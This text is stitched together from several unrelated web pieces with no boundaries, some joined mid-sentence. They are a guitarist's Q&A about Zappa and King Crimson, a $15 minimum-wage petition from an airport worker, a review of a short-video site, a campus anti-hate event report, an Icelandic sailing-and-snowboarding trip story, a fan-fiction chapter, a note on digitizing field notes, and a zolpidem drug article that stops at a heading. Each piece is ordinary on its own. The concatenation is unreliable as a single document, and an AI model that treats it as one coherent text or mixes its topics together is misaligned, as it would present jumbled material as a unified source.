The only time I actually used them is when we were making [David Bowie’s 1979 album] Lodger. We used them in the studio then. I thought they were kind of fun. You’d draw a card, and it says, “Think green.” Okay, I’m gonna try to think green now. I don’t know how seriously they were supposed to be taken, but we kind of more or less giggled at them. [laughs]
Gizmodrome (from left): Mark King, Vittorio Cosma, Stewart Copeland and Adrian Belew (Image: © Massimiliano Cardelli)
Can you describe your audition for Frank Zappa? I hear it’s kind of a funny story. —Tommy Moore
I flew out to Frank’s house—my first time on a plane. That’s how green I was. They picked me up and took me to his house in the basement, which would turn into his studio over the years. It was just a big empty room. Frank’s sitting behind a console, he’s got a cigarette in his mouth, of course, and there’s a microphone in the middle of the room. Unfortunately, there were people moving things all over; here goes a piano in front of you, they’re setting up something over there and so on. It was very distracting. Frank gave me a long list of songs. I had to borrow the albums from friends because I was so poor.
We started, and he’d say, “Okay, let’s try ‘Andy,’ ” and I’d play it for a minute or two and sing some things, and then he’d stop me, take another puff and say, “Okay, try ‘Wind Up Workin’ in a Gas Station.’ I was fumbling and really being distracted by all the stuff going on. I had nowhere to go, so they were gonna take me back to the airport and fly me back home, so I just watched everyone else’s terrifying auditions. I watched keyboard players and percussionists and thought, “Oh my god, these guys are so great, I don’t know how I’ll ever be in this band.”
There was a moment at the end of the day, though, where it was just Frank and I standing there, and I said, “I’m sorry, I really thought I could do this, and I thought it would be different.” He said, “What do you mean?” I said, “I thought it would just be you and me somewhere quiet where I could show you that I could do this.” So we went up to his living room and sat on his purple couch, I took my little Pignose amp and stuffed it between the pillows so I could turn it up as loud as I could, and we started over. We got about a third of the way through and Frank was starting to sing along with me. Finally he put his hand out, shook my hand and said, “You’ve got the job.” Changed my life, that handshake did.
You started out as a drummer. Does that affect how you play guitar? —Louis-Jules Trochu
Absolutely. I don’t think, for example, I would’ve done that well with Frank [Zappa]’s music had I not had such a rhythmic background. It’s very natural to me. I’ve always been able to play in an odd time signature and shake my booty in 4/4 at the same time and make it groovy, because it’s all a matter of accenting anyway. I also think my time with Frank and my time as a drummer—and I still play drums on my solo records—was important to my being able to write the kind of material I’ve written with King Crimson. Frank was a drummer first too, by the way.
What really led to the end of your involvement with King Crimson? —Ken Brown
Simple! Robert just pulled the plug. [laughs] We had done 10 shows as a five-piece band with new drummer Gavin Harrison along with Pat Mastelotto, and I thought we were gonna continue on from there, and at the end of those 10 shows, Robert seemed to be game for that as well. But within a few weeks, it was over. He said, “I’m not gonna play anymore,” and that was that. When he put together the current lineup, he had something totally different in mind, and he told me it wouldn’t be right for me and I wouldn’t be right for it.
I love your Flux by Belew app. Is there a chance you’ll expand upon any of its musical pieces and make extended versions—or will there just be more Flux in general? —Jim McCurdy
Both, yes. Right now, however, time is not on my side because not only am I getting ready for Gizmodrome, but I’m also being asked to do more Celebrating David Bowie shows next year. But any time I have on my own, I dedicate to Flux. I’m always recording things that can be used as snippets, whether I record them on my iPhone or in the studio. I probably have around 18 songs that I haven’t had time to record. But the idea always was not just new material but taking that material and refashioning it. My thought about music is, how come you do a song and that’s the only life it ever has? That’s it? One arrangement, one version? I think that’s cheating your song. I think what you should do, then, is go back, take another look at it, change it, maybe even change some words, change the style, whatever.
There are songs on Flux that are short because that’s kind of the nature of Flux, but I could see taking them and making them longer arrangements. I have an idea in mind that at some point, I’m going to make a record of the songs from Flux. My first solo vinyl record would be songs from Flux, and it would be full-length songs, more like the Gizmodrome record.
What was your involvement in your signature Parker Maxx Fly guitar? —Craig Jones
When I came into the picture, I was using Strats, but they were modified with Roland GK 13-pin MIDI pickups and Sustainiacs. I asked Ken Parker if there was a way we could put those things in a Parker. He told me that when they first put out the Parker Fly, it was designed to be a MIDI guitar, but they left that out because he was afraid it was too revolutionary. When I approached him, I think he felt, This is the time to do it. I helped them upgrade the electronics. I mean, the guitar was designed in the Eighties, and we’re talking about 10 or 15 years later, so I said, let’s put in the MIDI, keep the piezo, make it so you can get a million sounds. Line 6 had just developed the technology for the Variax, so we said, “Let’s put that in there.” I can’t take any credit, though; I just kind of gave them the problems to solve and they did it.In July, workers at the Minneapolis-Saint Paul Airport (MSP) formed a 15 Now action group, winning support among airport workers and a growing list of labor endorsements. Alongside demonstrations, workers have launched an online petition (see below).
MSP airport is ground zero for income inequality between the rich and the working poor. On the one hand, you have companies like Delta, which made $2.3 billion in profit last year and is headed toward $4 billion for 2014. Nearly one-third of that profit was earned right here at MSP, according to a Delta vice president. That’s $700 million. Delta CEO Richard Anderson made $6,000 per hour last year.
On the other hand, many of my coworkers at Delta have to work two and three jobs to make ends meet. Workers at Air Serv, who clean Delta aircraft, make $8 and $9 per hour. In fact, thousands of workers at MSP who fuel, clean, and load aircraft for Delta, United, American, and other airlines make poverty wages. Faring no better are those who staff airport stores, restaurants, and other services.
We know it doesn’t have to be this way. When workers got organized in other airports like San Francisco, Los Angeles, and Seattle, they were able to win a $15 an hour minimum wage.
That’s why some of my coworkers and I have gathered well over 1,000 signatures on a petition asking the Metropolitan Airport Commission (MAC) to raise the minimum wage at MSP Airport to $15 an hour. Over 50 of us turned those petitions in to the MAC, a body appointed mainly by Minnesota Governor Mark Dayton.
Now we need your support and solidarity. Please sign our petition asking Governor Dayton to take a stand against poverty wages. If Governor Dayton leads, the Airport Commissioners he appoints will follow.
A victory at MSP can pave the way for winning $15 in Minneapolis and St. Paul. It can begin to reverse the deep economic inequality plaguing our state. It can address the fact that Minnesota taxpayers currently subsidize the profits of highly successful companies, when low-wage workers are forced to use public assistance.
United and organized, we can win.
Sincerely,
Kip Hedges
Delta Baggage Handler
Go to 15now.org to sign the petition asking Governor Dayton of Minnesota to take a stand against poverty wages!
Watch the video below from Workday Seattle for interviews with Kip and other 15 Now organizers at MSP Airport:TNW Quick Hit
ShortForm viewers can subscribe to, or create their own, channels of interest, and enjoy a continuous stream of short video clips similar to watching television. In addition, the site provides a way to discover the best short video clips from around the web.
Enjoyed: Simple for all to get up and running with their own channel. Ability to add videos uploaded to Facebook, the videos of one’s friends, and favorite videos from YouTube.
Annoyed: The process to add videos was not all that swift and could frustrate some users.
Overall: 4/5
The Details:
YouTube is a great way to discover videos on how to do certain tasks, watch videos of any kind imaginable, and with Leanback, is an even better, and easier, way to kill time. There are some issues with YouTube that make a new service, ShortForm, a really neat option for those that enjoy online video.
ShortForm, out of San Francisco with Nader Ghaffari as CEO, along with financing from NetService Ventures Group and IVF, touts itself as,
“a new entertainment medium, delivering endless channels of short videos, curated by our community of VJs.”
One of the grand features of ShortForm is that anyone can be a “VJ” (video jockey). ShortForm users can subscribe to channels that interest them or create their own, and share anything they like with the world.
Getting started is super simple. Enter your name, username, email address, and password. That’s it. Or, if that’s too much for you, sign up using your Facebook, Twitter, or YouTube account.
To make your channel snazzy, and to attract some fans, add a little information about yourself such as a profile picture, website, and more.
After profile creation is complete, jazz up your channel by adding videos you’ve uploaded to Facebook, videos of your friends, and favorite videos from YouTube. Moreover, you can spice up your channel with a slick name, picture, and description, all with the hope that in doing so, you will increase your statistics, viewable on the dashboard created by ShortForm.
My channel doesn’t have any statistics because I am still uploading videos. That is my issue with ShortForm at this point is the video import speed. The process wasn’t swift for yours truly. That said, the channels I’ve subscribed to are really interesting, with the channel below, “Super Cute,” being one of my favorites.
Why choose ShortForm when YouTube is available? There are several reasons. First, the design of the site is top-notch. As a fan of great design, YouTube’s pales in comparison to that of ShortForm. Second, ShortForm is decidedly more social than YouTube. Facebook, Twitter and YouTube integration make ShortForm a great deal more fun to use than YouTube by itself. Finally, Leanback is still YouTube, but requires less user interaction. Videos from Leanback are chosen at random by one’s YouTube preferences. Conversely, ShortForm allows one to choose videos from a favorite VJ, and watch short clips as long as one desires.
Will ShortForm replace YouTube? No, and that’s the genius of ShortForm. ShortForm allows users to take videos uploaded to YouTube and/or Facebook, and create a music channel or follow channels of others. One can’t upload videos directly to ShortForm like YouTube or Facebook. Therefore, Facebook and YouTube are the repository of one’s videos with ShortForm being a home to custom channels created by users combining the best videos from each service.
Give ShortForm a try and let us know what you think.
Read next: Royal Dutch Airline gives passengers a surpriseAlong with several protests around campus, the university held an event called Aggies United Tuesday evening.
Organizers say the purpose of the event was to unite all Aggies and combat any form of hate.
A&M brought some major players like actor and author Hill Harper, singer and song writer Ben Rector and TV/Radio host Roland Martin.
Keynote speeches were given by A&M quarterback Trevor Knight and the university's chancellor.
The event even included a talent portion with some current Aggies.
Like many who spoke, emcee Hill Harper, spread a message of inclusion.
"We can understand what is right and what is wrong,” said Harper. “We can understand the difference between justice and injustice. We can understand the difference between hate and love and we understand that coming together we can affirm the positive qualities and also disaffirm and disqualify those that are spouting out hate, disunity and division."
Students in attendance say the university's counter efforts were an example of their commitment to diversity.
“When I first heard that speaker was coming I obviously was a little disappointed,” said Katelyn McCarthy, a student at A&M. “It really held true to me to stand up for diversity and embody diversity and really show love. Above all else here at Texas A&M to show love and diversity so I really was happy that this even was going to occur.”
Organizers say at least 5,000 tickets were pulled through the gates Tuesday night.Sailing, Skiing and Snowboarding Iceland: a Fjord Land Adventure
Words and pictures By Geiri
Published May 2008
the splitboard overlooking the boat in a fjord
The Iceland Itineray
Day 1: Sailing from Ísafjörður to Hesteyri.
Day 2: Hiking and snowboarding in Hesteyrarfjörður. Anchor for the night there. Muscles picked and cooked.
Day 3: Hiking from Hesteyrarfjörður and Snowboarding into Veiðuleysisfjörður. First descent of Mt. Lónhorn. Crazy weather during the night.
Day 4: Hiking from Veiðileysufjörður and snowboarding into Lonafjörður. Sun was out but cold. Snowboarding right into the sea.
Day 5: Sailing back to Ísafjörður with sails ablast.
Iceland's coastline is rich with fjords
The Saga
"By sun and moon
I journeyed west,
My sea-borne tune
From Odin's breast"[1]
When I was a teenager growing up in northern Iceland, my friends Valdi and Huginn worked on fishing trawlers during the summer. They went out to sea for up to two months, worked like animals, came ashore loaded with krónas[2], got lucky, partied hard and paid for my beers. It was the Icelandic modern day equivalent of the viking lifestyle.
a line less ordinary: the route taken by Geiri and his team
The ocean has always held some great adventurous mystic for me and back then I envied my friends for having such adventurous summer jobs. My envy had nothing to do with the fact that they were earning way more money than me.[3]
So what have my teenage years in northern Iceland got to do with this story, maybe absolutely nothing? Then again they may have molded and strengthened my admiration for the ocean. So when Rúnar and Himmi (my colleagues at Nikita) approached me about doing this sailing and snowboarding trip in Jökulfjörður (western fjords, Iceland), just before Easter 2007, my decision was really a no brainer.
skin up: applying skins to the splitboard
The Western Fjords are probably one of the most remote and untouched places you can find in Europe. They cover 8,5 % (8700 km2) of Iceland's surface and 3 % (7.835 people) of the population live there.[4] To put that into an extreme perspective for you, Manhattan Island covers only an area of 87,56 km2 but has a population of 1.537.195.
So you could basically fit a 100 Manhattan Islands into the Western Fjords. Now imagine only 7.835 people living on a 100 Manhattan Islands. That leaves a lot of untouched space to explore and play with.
About a 1000 years ago just around the time Iceland was being discovered a group of men supposedly wearing pointy hats and bearing axes[5] sat down had a couple of ales and wrote the Viking code of ethics: Hávamál[6] (Sayings of the high one). The sayings offer advice on everything from how to comport oneself with dignity in battle, to how to be a good host. They also offer some brilliant advice to 'would be' travelers.
Being a 'would be' traveler with Viking ancestry about to head out on a boat trip to the wild west of Iceland, I feel it fitting to draw some advice from the Hávamál to help me on my way. So here on this page with my words and the words of my ancestors I bring you the story of my trip to the "Wild West" of Iceland.
going up: using skis and splitboard to make an ascent
"Who travels widely needs his wits about him,
The stupid should stay at home"[7]
The trip starts with 10 friends and friends of friends meeting, some for the first time, at the town of Ísafjörður[8]. This is where we will set sail from on the Aurora, a 60 foot yacht captained by skipper Búbbi and guided by adventure seeker Rúnar Óli.[9]
They are both locals who started a travel company called Borea Adventures which offers a wide variety of trips around the Western Fjords and beyond. Our destination is a 2 hour sail due north to Jökulfjörður (glacier fjord). There we will spend the next four days exploring remote fjords, riding untouched slopes and enjoying each others company.
Buzzing with excitement the crew heads ashore on the dingy for our fist day of hiking and riding in Hesteyrarfjörður. This place has not been inhabited since the 1970s and some houses still remain that people use as summer refuges. The crew's weapons of choice for this trip are a mixture of split boards, touring and telemark skis.
I have been a skeptic of split boards ever since they fist came out but am riding one for the first time on this trip. Skinning up the first mountain of the day, it certainly feels good not to have the extra weight of the board on my back. I quickly adjust to walking on the split board and have no problem keeping up with the telemark and touring guys.
It's a relaxed day with so so weather and I am eager to try out the riding capabilities of my split board. It handles well in the slushy conditions and my skepticism is soon gone out the window after my first ride.
superb views from the mountain
The quietness, remoteness and beauty of this place is simply amazing. It's so cool yet surreal to be riding here. The last ride of the day is the best, as I come over to the last slope I am faced with the fjörd and the Aurora sailing into its mouth to come pick us up. I ride down to the ocean where captain Búbbi comes ashore to pick us up.
Before we head back to the yacht he gathers muscles from a fresh water stream that falls into the ocean. Back on the Aurora he cooks up a mean muscle soup and the crew downs it with cold beers. One of the best meals I have ever had. The Aurora comfortably sleeps the twelve of us, and I fall asleep with a smile on my face eager for the next day to arrive.
fjord land view: the team re-group
"If you must journey to mountains and firths,
Take food and fodder with you"[6]
Day three and we head ashore again in Hesteyrarfjörður but this time we are hiking over and into the neighboring fjörd called Veiðuleysisfjörður. The sun is out and our spirits are high after a good night's sleep. The hike is icy to start off with but soon softens up. As the day approaches noon the weather hits us in true Icelandic style and we get a mixture of sun, fog, rain, snow and wind. It's certainly refreshing, but the poor visibility spoils our riding experience for the first part of the day.
Again the last ride of the day is the best. A couple of us decide to brave the elements and climb a mountain called Lónhorn. It's pretty steep and windy as we approach the top and guide Rúnar óli informs us that this will be a first descent of the whole face of this mountain.
We are excited. As I head down it seems like I am falling off the earth and into the ocean; adrenalin starts flowing as I take a ridge line right down to the sea. Once I hit the beach I look back and think: "wow" - that ride was definitely what I was looking to get out of the trip.
who needs a boat? riding the fjords on a snowboard
Back on the yacht we eat, drink and are merry. Captain Búbbis' cooking is exceptional again. As the evening goes on, the wind starts picking up and Búbbi informs us that there is a storm warning issued for the night in western Iceland. He finds a good place in the mouth of the fjord to anchor the yacht and we gear up in suits and safety vests ready to brave the elements.
The wind speed goes up to 68 knots at its highest which is roughly 68m/s; it's a humbling experience, and in the night the anchor comes loose and we almost loose the dingy but thanks to our brilliant captain and guide all is well in the morning and we are ready for another day of adventure.
"Better gear than good sense
A traveler cannot carry,
A more tedious burden than too much drink
A traveler cannot carry"[6]
all a board? en route to the next mountain
Baldur one of the guys on the trip is a qualified mechanic, he tries to fix the outboard motor on the dingy which was flooded in the high winds, but without success. So we break out the muscle power and take turns rowing with the crew and equipment ashore.
Today we will be heading from Veiðuleysisfjörður up into Lónafjörður. The sun is out but it's a cold and icy day. The view from the top is breathtaking. The ride down is icy and quite difficult for the split boards but we all make it down safe and sound.
Some of us end up riding right into to the ocean; it's wet, but good clean fun. This will be our last night on the yacht on this trip and we can't think of a better excuse to finish our drink supplies and break out the guitars. The yacht party goes into the night and I have no idea when the last one of us goes to bunk but I know it is snowing outside.
"A wayfarer should not walk unarmed,
But have his weapons to hand:
He knows not when he may need a spear,
Or what menace meet on the road"[6]
life lines aren't a problem when you're the captain of your own ship
When we wake up the visibility is really poor and the ground covered with fresh snow on top of icy slopes we rode down yesterday. The last day of this trip is upon us. We decide against going ashore and getting one last hike and ride in, and instead to go sailing, with our sails at full mast. We take our time getting back to Ísafjörður but none of us mind as the visibility gradually gets better as the day progressives and the ocean brakes out some spectacular views for us.
It is nice to relax and enjoy the sail back in good company after this unique trip. We are all sure we experienced something unique, something we definitely all want to experience again. We get in latish afternoon to Ísafjörður.
Some of the crew are staying over the Easter weekend in Ísafjörður to experience the Aldrei fór ég suður festival.[10] The festival is a series of concerts with a different twist. The festival is something worth checking out. Something very unique only to be found in this unique place.
It only takes me 7-8 hours to drive back to my home in Reykjavík. I arrive exhausted but happy and full of memories.
the crew take refuge in an Icelandic house: the boards wait outside
"Cattle die, kindred die,
Every man is mortal:
But I know one thing that never dies,
The glory of the great dead"[6]
The pictures with this story probably say more than my words. I can recommend this trip to all adventure seekers. Borea Adventures offers a wide variety of possibilities with their trips. Feel free to contact them and get them to put together your dream trip. Thanks to all involved in this trip especially Captain Búbbi and Guide Rúnar Óli.
Geiri is a passionate snowboarder, Marketing Coordinator for Nikita Clothing and former Director of the ISA (Icelandic Snowboard Association).
References
[1] Extract from a poem written by King Erik about Egill Skallagrímsson (viking warrior poet)
[2] Króna is the Icelandic currency. The average monthly salary of a sailor working on a fishing trawler in Iceland in 1993: USD$4320.
[3] The averge monthly salary of a person working in a fishing plant in Iceland in 1993: USD$ 2100.
[4] http://www.lmi.is/english/iceland-in-statistics/
[5] http://www.nat.is/travelguideeng/icelandic_vikings.htm
[6] http://www.anomy.net/havamal/
[7] http://www.isafjordur.is |
find Alex. But we soon found out that we didn't need to look for him.
A school bus pulled up to us on the side of the road, and to our surprise, out stepped our friend, Alex Ficiane. He was wearing a sick jacket, had a sweet hat and sunglasses, and basically looked like a straight-up pimp.
"Hey guys," Alex said to us, "Are you familiar with The Magic School Bus?"
"WHAT THE HELL?" Jirard said in disbelief, "HOW?"
Alex began telling his story:
"I was sitting in the car, when I saw some really shady figures walking into an alley way. Still a cop, the perfect dick that I am, I decided to pursue them from a safe distance so they wouldn't notice me. It was really irritating and wasn't a fun mechanic. When they reached their destination, I confronted them, and realized they were actually running a pretty tight gang, so I joined. Over the course of the night, I worked my way up the ranks, and became one of their top members. I became acquainted with the gang's leader, who I have with my right now."
Out stepped a red-headed women in a polka dotted dress.
"Gentlemen," Alex continued, "Meet Miss Valerie Felicity Frizzle, 3rd grade teacher by day, gang leader by night. She's a huge Beard Bros. fan, so she was ecstatic when she found out I made it up the ranks of her gang in one night. I told her about our predicament, and she said she'd happily give us her custom built school bus, The Magic School Bus. She said it's fine because she's currently working on another vehicle with some guy named Doc Brown. Oh, she did say that she'd like a picture with both of us."
"Oh sure, anything to return the favor," Jirard said.
I took the picture of Jirard, Alex, and Miss Frizzle," and handed it to her.
"It's the least we could do," Jirard said.
"Have fun with my bus you boys! You better make some money and keep your show going! Don't let my gift to you two be in vain!" Miss Frizzle said as she disappeared into the shadows.
The Bros. and I hopped in the bus and sat down. Alex held up a briefcase and opened it up for us. There was $1,000 in it. He said it was another contribution to our cause from Miss Frizzle. What a generous woman.
"We should probably fill up on gas before we start our maiden voyage," Jirard said.
"HA!" said Alex "This doesn't run on fossil fuels! It runs on MAAAAAAGIIIIIIIC! Strap in boys! This is going to be one bumpy take-off!"
We put on our seat belts and got ready. Alex started up the bus and slammed his foot on the pedal. The bus dashed forward at 100mph, before it started to rise up in the air majestically.
As we ascended, we couldn't help but notice a shadowy figure on the ground, watching us taking off, stomping on the ground in frustration. We dismissed it as an ordinary civilian, upset that he didn't have a sick, flying bus like us.
"I couldn't help but notice your apparel, or lack thereof," said Alex, "You guys are just in luck. Look on the seat behind you."
There were two pimp suits, just like Alex's. Jirard and I put them on. We looked tight as heck.
We were soaring through the sky at a speed rivaling that of an ordinary passenger plane.
Next Stop: New York City.Large-scale digitization is reshaping the library’s contribution to research, and the natural sciences are front and center.
Until recently, researcher field notes and firsthand observations were difficult to digitize because of handwriting issues and formatting. Three projects—the Field Book Project, the Biodiversity Heritage Library (BHL) Field Notes Project, and Expanding Access to Biodiversity Literature—are changing that.
Field notes are an invaluable resource for students and researchers alike. Edward Davis, assistant professor in the Department of Geological Sciences at the University of Oregon, says, “We must ensure that future workers won’t have to search for our field books; without supporting documentation, the specimens we collect today may as well be paperweights.” Digital library consortia, specifically BHL, already provide millions of digitized items for public access and sharing across several contributing institutions. Now those collections can include field notes, too.
The Field Book Project began in 2010 as a joint initiative between the Smithsonian Institution National Museum of Natural History (NMNH), Smithsonian Libraries, and the Smithsonian Institution Archives. Currently led by Smithsonian Libraries Associate Director Martin Kalfatovic and Smithsonian Institution Archives Director Anne Van Camp, the project has already cataloged more than 7,500 field books across eight departments within the Smithsonian and plans to add another 2,600 within the next two years. The BHL Field Notes Project, run by Smithsonian Libraries and the Smithsonian Institution Archives, is a collaborative project among nine US partners to make field notes available on library consortia such as BHL, the Internet Archive, and the Digital Public Library of America. Some of those partners include the Yale Peabody Museum of Natural History and Harvard University Herbaria.
The Expanding Access to Biodiversity Literature project, which began October 1, 2015, aims to include 100 new content providers and 50 in-copyright titles. The project will assist these content providers with digitization, metadata creation, and curation by September 30, 2017. Many of the involved content providers are small institutions that would normally not be able to contribute to a digital library consortium such as BHL because of lack of funding or training.
The goal of all three projects is to provide users with easy access to primary source documentation in the natural sciences.Zolpidem, sold under the brand name Ambien, among others, is a medication primarily used for the short term treatment of sleeping problems.[3][4] Guidelines recommend that it be used only after counseling and behavioral changes have been tried.[5][6][7] It decreases the time to sleep onset by about 15 minutes and at larger doses helps people stay asleep longer.[2] It is taken by mouth and is available in conventional tablets or sublingual tablets and oral spray.[3]
Common side effects include daytime sleepiness, headache, nausea, and diarrhea.[3] Other side effects include memory problems, hallucinations, and abuse.[2] The recommended dose was decreased in 2013 due to next-morning impairment.[8] Additionally driving the next morning is not recommended with either higher doses or the long acting formulation.[8] While flumazenil can reverse zolpidem's effects, usually supportive care is all that is recommended in overdose.[9]
Zolpidem is a nonbenzodiazepine and hypnotic of the imidazopyridine class.[3] Zolpidem is a type A GABA receptor agonist.[3] It works by increasing GABA effects in the central nervous system by binding to GABA A receptors at the same location as benzodiazepines.[3] It generally has a half-life of two to three hours.[3] This, however, is increased in those with liver problems.[3]
Zolpidem was approved for medical use in the United States in 1992. [3] It became available as a generic medication in 2007.[10] In the United States it has a monthly cost of about US$8 for immediate release and US$66 for controlled release medication, as of 2017.[2] Zolpidem is a Schedule IV controlled substance under the Controlled Substances Act of 1970 (CSA).[2] More than 10 million prescriptions are filled a year in the United States, making it one of the most commonly used treatments for sleeping problems.[11][12]
Medical uses [ edit ]
Zolpidem Tartrate 10 mg tablets
Zolpidem is labelled for short-term (usually about two to six weeks) treatment of insomnia at the lowest possible dose.[3][4] It may be used for both improving sleep onset and staying asleep.[2]
Guidelines from NICE, the European Sleep Research Society, and the American College of Physicians recommend medication for insomnia (including possibly zolpidem) only as a second line treatment after nonpharmacological treatment options (e.g. cognitive behavioral therapy for insomnia).[5][6][7] This is based in part on a 2012 review which found that zolpidem's effectiveness is nearly as much due to psychological effects as to the medication itself.[13]
A lower-dose version (3.5 mg for men and 1.75 mg for women) is given as a tablet under the tongue and used for middle-of-the night awakenings. It can be taken if there are at least 4 hours between the time of administration and when the person must be awake.[14]
Contraindications [ edit ]
Zolpidem should not be taken by people with obstructive sleep apnea, myasthenia gravis, severe liver disease, respiratory depression, children, or people with psychotic illnesses. It should not be taken by people who are or have been addicted to other substances.[4]
Use of zolpidem may impair driving skills with a resultant increased risk of road traffic accidents. This adverse effect is not unique to zolpidem but also occurs with other hypnotic drugs. Caution should be exercised by motor vehicle drivers.[4] In 2013 the FDA recommended the dose for women be reduced and that prescribers should consider lower doses for men due to impaired function the day after taking the drug.[15][16]
Zolpidem should not be prescribed to older people, who are more sensitive to the effects of hypnotics including zolpidem and are at an increased risk of falls and adverse cognitive effects.[17][18]
Zolpidem has been assigned to pregnancy category C by the FDA. Animal studies have revealed evidence of incomplete ossification and increased postimplantation fetal loss at doses greater than seven times the maximum recommended human dose or higher; however, teratogenicity was not observed at any dose level. There are no controlled data in human pregnancy. In one case report, zolpidem was found in cord blood at delivery. Zolpidem is recommended for use during pregnancy only when benefits outweigh risks. [19]
Adverse effects [ edit ]
Various zolpidem pills
The most common side effects for short-term use include headache (reported by 7% of people in clinical trials), drowsiness (2%), dizziness (1%), and diarrhea (1%); the most common side effects of long-term use included drowsiness (8%), dizziness (5%), allergy (4%), sinusitis (4%), back pain (3%), diarrhea (3%), drugged feeling (3%), dry mouth (3%), lethargy (3%), sore throat (3%), abdominal pain (2%), constipation (2%), heart palpitations (2%), lightheadedness (2%), rash (2%), abnormal dreams (1%), amnesia (1%), chest pain (1%), depression (1%), flu-like symptoms (1%), and sleep disorder (1%).[20]
Upper and lower respiratory infections are also common (experienced by between 1 and 10% of people).[4]
Residual 'hangover' effects, such as sleepiness and impaired psychomotor and cognitive function, may persist into the day following nighttime administration. Such effects may impair the ability of users to drive safely and increase risks of falls and hip fractures.[9][21] Around 3% of people taking zolpidem are likely to break a bone as a result of a fall due to impaired coordination caused by the drug.[22]
Some users have reported unexplained sleepwalking while using zolpidem, as well as sleep driving, night eating syndrome while asleep, and performing other daily tasks while sleeping.[9] Research by Australia's National Prescribing Service found these events occur mostly after the first dose taken, or within a few days of starting therapy.[23] In February 2008, the Australian Therapeutic Goods Administration attached a boxed warning concerning this adverse effect.[24]
Tolerance, dependence, and withdrawal [ edit ]
Ambien tablets
As zolpidem is associated with drug tolerance and substance dependence, its prescription guidelines are only for severe insomnia and short periods of use at the lowest effective dose.[4][5][6][7][25] Tolerance to the effects of zolpidem can develop in some people in just a few weeks.[26] Abrupt withdrawal may cause delirium, seizures, or other adverse effects, especially if used for prolonged periods and at high doses.[26][27] When drug tolerance and physical dependence to zolpidem develop, treatment usually entails a gradual dose reduction over a period of months to minimize withdrawal symptoms, which can resemble those seen during benzodiazepine withdrawal.[27] Failing that, an alternative method may be necessary for some people, such as a switch to a benzodiazepine equivalent dose of a longer-acting benzodiazepine drug, as for diazepam or chlordiazepoxide, followed by a gradual reduction in dose of the long-acting benzodiazepine.[27] In people who are difficult to treat, an inpatient flumazenil rapid detoxification program can be used to detoxify from a zolpidem drug dependence or addiction.[28]
Alcohol has cross tolerance with GABA A receptor positive modulators, such as the benzodiazepines and the nonbenzodiazepine drugs.[citation needed] For this reason, alcoholics or recovering alcoholics may be at increased risk of physical dependency or abuse of zolpidem.[4] It is not typically prescribed in people with a history of alcoholism, recreational drug use, physical dependency, or psychological dependency on sedative-hypnotic drugs.[4] A 2014 review found evidence of drug-seeking behavior, with prescriptions for zolpidem making up 20% of falsified or forged prescriptions.[29]
Rodent studies of the tolerance-inducing properties have shown that zolpidem has less tolerance-producing potential than benzodiazepines, but in primates, the tolerance-producing potential of zolpidem was the same as seen with benzodiazepines.[30]
Overdose [ edit ]
Overdose can lead to coma or death.[4] When overdose occurs, there are often other drugs in the person's system.[4][9]
Zolpidem overdose can be treated with the benzodiazepine receptor antagonist flumazenil, which displaces zolpidem from its binding site on the benzodiazepine receptor to rapidly reverse the effects of the zolpidem. It is unknown if dialysis is helpful.[4]
Detection in body fluids [ edit ]
Zolpidem may be quantitated in blood or plasma to confirm a diagnosis of poisoning in people who are hospitalized, to provide evidence in an impaired driving arrest, or to assist in a medicolegal death investigation. Blood or plasma zolpidem concentrations are usually in a range of 30–300 μg/l in persons receiving the drug therapeutically, 100–700 μg/l in those arrested for impaired driving, and 1000–7000 μg/l in victims of acute overdosage. Analytical techniques, in general, involve gas or liquid chromatography.[31][32][33]
Pharmacology [ edit ]
Mechanism of action [ edit ]
Zolpidem is a high-affinity positive modulator of GABA A receptors. It selectively binds to α 1 subunits of this pentameric ion channel. Accordingly, it has strong hypnotic properties and weak anxiolytic, myorelaxant, and anticonvulsant properties.[34] Opposed to diazepam, zolpidem is able to bind to binary αβ GABA receptors, where it was shown to bind to the α1–α1 subunit interface.[35] Zolpidem has about 10-fold lower affinity for the α 2 - and α 3 - subunits than for α 1, and no appreciable affinity for α 5 subunit-containing receptors.[36][37] ω 1 type GABA A receptors are the α 1 -containing GABA A receptors and are found primarily in the brain, the ω 2 receptors are those that contain the α 2 -, α 3 -, α 4 -, α 5 -, or α 6 subunits, and are found primarily in the spine. Thus, zolpidem favours binding to GABAA receptors located in the brain rather the spine.[38] Zolpidem has no affinity for γ1 and γ3 subunit-containing receptors and, like the vast majority of benzodiazepine-like drugs, it lacks affinity for receptors containing α 4 and α 6.[39] Zolpidem modulates the receptor presumably by inducing a receptor conformation that enables an increased binding strength of the orthosteric agonist GABA towards its cognate receptor without affecting desensitization or peak currents.[40]
Like zaleplon, zolpidem may increase slow wave sleep but cause no effect on stage 2 sleep.[41] A meta-analysis that compared benzodiazepines against nonbenzodiazepines has shown few consistent differences between zolpidem and benzodiazepines in terms of sleep onset latency, total sleep duration, number of awakenings, quality of sleep, adverse events, tolerance, rebound insomnia, and daytime alertness.[42]
Interactions [ edit ]
People should not consume alcohol while taking zolpidem and should not be prescribed opioid drugs nor take such drugs recreationally.[43] Opioids can also increase the risk of becoming psychologically dependent on zolpidem. Use of opioids with zolpidem increases the risk of respiratory depression and death.[4]
Next day sedation can be worsened if people take zolpidem while they are also taking antipsychotics, other sedatives, anxiolytics, antidepressant agents, antiepileptic drugs, and antihistamines. Some people taking antidepressants have had visual hallucinations when they also took zolpidem.[4]
Cytochrome P450 inhibitors, particularly CYP3A4 and CYP1A2 inhibitors, fluvoxamine and ciprofloxacin will increase the effects of a given dose of zolpidem.[4]
Cytochrome P450 activators like St. John's Wort may decrease the activity of zolpidem.[4]
Chemistry [ edit ]
Three syntheses of zolpidem are common. 4-methylacetophenone is used as a common precursor. This is brominated and reacted with 2-amino-5-methylpyridine to give the imidazopyridine. From here the reactions use a variety of reagents to complete the synthesis, either involving thionyl chloride or sodium cyanide. These reagents are challenging to handle and require thorough safety assessments.[44][45][46] Though such safety procedures are common in industry, they make clandestine manufacture difficult.
A number of major side-products of the sodium cyanide reaction have been characterised and include dimers and mannich products.[47]
History [ edit ]
Zolpidem was used in Europe starting in 1988 and was brought to market there by Synthelabo.[48] Synthalabo and Searle collaborated to bring it to market in the US, and it was approved in the United States in 1992 under the brand name "Ambien".[48] It became available as a generic medication in 2007.[10]
In 2015, the American Geriatrics Society said that zolpidem met the Beers criteria and should be avoided in older people due to its risks compared with its benefits.[17][18]
Society and culture [ edit ]
Prescriptions in the US for all sleeping pills (including zolpidem) steadily declined from around 57 million tablets in 2013 to around 47 million in 2017, possibly in relation to concern about prescribing addictive drugs in the midst of the opioid crisis.[49]
Military use [ edit ]
